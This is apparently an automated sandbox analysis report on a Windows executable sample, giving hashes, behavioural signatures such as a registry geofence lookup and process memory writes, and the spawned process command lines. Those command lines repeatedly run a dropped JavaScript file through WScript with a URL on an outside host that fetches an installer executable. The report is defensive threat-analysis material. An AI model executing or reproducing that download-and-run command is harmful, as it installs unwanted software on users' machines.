Analysis
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max time kernel
130s -
max time network
102s -
platform
windows10-2004_x64 -
resource
win10v2004-20240426-en -
resource tags
arch:x64arch:x86image:win10v2004-20240426-enlocale:en-usos:windows10-2004-x64system -
submitted
11-05-2024 08:19
Static task
static1
Behavioral task
behavioral1
Sample
33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe
Resource
win7-20240508-en
Behavioral task
behavioral2
Sample
33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe
Resource
win10v2004-20240426-en
General
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Target
33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe
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Size
184KB
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MD5
33a3c781df3a2ce36310527ffee586ff
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SHA1
d79cbd67ca91b2c556549b5ded95e495de7394f8
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SHA256
f4ce2d35f93b49560daac1d7afb1d7f65c9016aa5938685d235b3880b772d0ee
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SHA512
e2e7ae62e36300add0e3eb2e4232f2b708419d90cda9d1f78c5f9febf90db973913827205583696016377864912c405829c22d8dda571e3e4e3e5631d59fe5ee
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SSDEEP
3072:/MzsU0S0w8Hp9Rc/LB+dJGESR4hIRSYaVvb1NVFJNndnO3f:/7BSH8zUB+nGESaaRvoB7FJNndnu
Malware Config
Signatures
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Blocklisted process makes network request 5 IoCs
Processes:
WScript.exeWScript.exeWScript.exeWScript.exeWScript.exeflow pid process 7 3604 WScript.exe 48 2716 WScript.exe 51 768 WScript.exe 67 2252 WScript.exe 69 4504 WScript.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000\Control Panel\International\Geo\Nation 33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe -
Command and Scripting Interpreter: JavaScript 1 TTPs
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Modifies registry class 1 IoCs
Processes:
33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exedescription ioc process Key created \REGISTRY\USER\S-1-5-21-711569230-3659488422-571408806-1000_Classes\Local Settings 33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exedescription pid process target process PID 2520 wrote to memory of 3604 2520 33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe WScript.exe PID 2520 wrote to memory of 3604 2520 33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe WScript.exe PID 2520 wrote to memory of 3604 2520 33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe WScript.exe PID 2520 wrote to memory of 2716 2520 33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe WScript.exe PID 2520 wrote to memory of 2716 2520 33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe WScript.exe PID 2520 wrote to memory of 2716 2520 33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe WScript.exe PID 2520 wrote to memory of 768 2520 33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe WScript.exe PID 2520 wrote to memory of 768 2520 33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe WScript.exe PID 2520 wrote to memory of 768 2520 33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe WScript.exe PID 2520 wrote to memory of 2252 2520 33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe WScript.exe PID 2520 wrote to memory of 2252 2520 33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe WScript.exe PID 2520 wrote to memory of 2252 2520 33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe WScript.exe PID 2520 wrote to memory of 4504 2520 33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe WScript.exe PID 2520 wrote to memory of 4504 2520 33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe WScript.exe PID 2520 wrote to memory of 4504 2520 33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe WScript.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe"C:\Users\Admin\AppData\Local\Temp\33a3c781df3a2ce36310527ffee586ff_JaffaCakes118.exe"1⤵
- Checks computer location settings
- Modifies registry class
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3393.js" http://www.djapp.info/?domain=yVaNcxCfFP.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3393.exe2⤵
- Blocklisted process makes network request
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3393.js" http://www.djapp.info/?domain=yVaNcxCfFP.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3393.exe2⤵
- Blocklisted process makes network request
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3393.js" http://www.djapp.info/?domain=yVaNcxCfFP.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3393.exe2⤵
- Blocklisted process makes network request
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3393.js" http://www.djapp.info/?domain=yVaNcxCfFP.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3393.exe2⤵
- Blocklisted process makes network request
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C:\Windows\SysWOW64\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\fuf3393.js" http://www.djapp.info/?domain=yVaNcxCfFP.com&dotnet=4&file=installer&ip=52.1.45.42:80&pub_id=101&setup_id=300 C:\Users\Admin\AppData\Local\Temp\fuf3393.exe2⤵
- Blocklisted process makes network request
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
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Downloads
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C:\Users\Admin\AppData\Local\Temp\fuf3393.jsFilesize
3KB
MD53813cab188d1de6f92f8b82c2059991b
SHA14807cc6ea087a788e6bb8ebdf63c9d2a859aa4cb
SHA256a3c5baef033d6a5ab2babddcfc70fffe5cfbcef04f9a57f60ddf21a2ea0a876e
SHA51283b0c0ed660b29d1b99111e8a3f37cc1d2e7bada86a2a10ecaacb81b43fad2ec94da6707a26e5ae94d3ce48aa8fc766439df09a6619418f98a215b9d9a6e4d76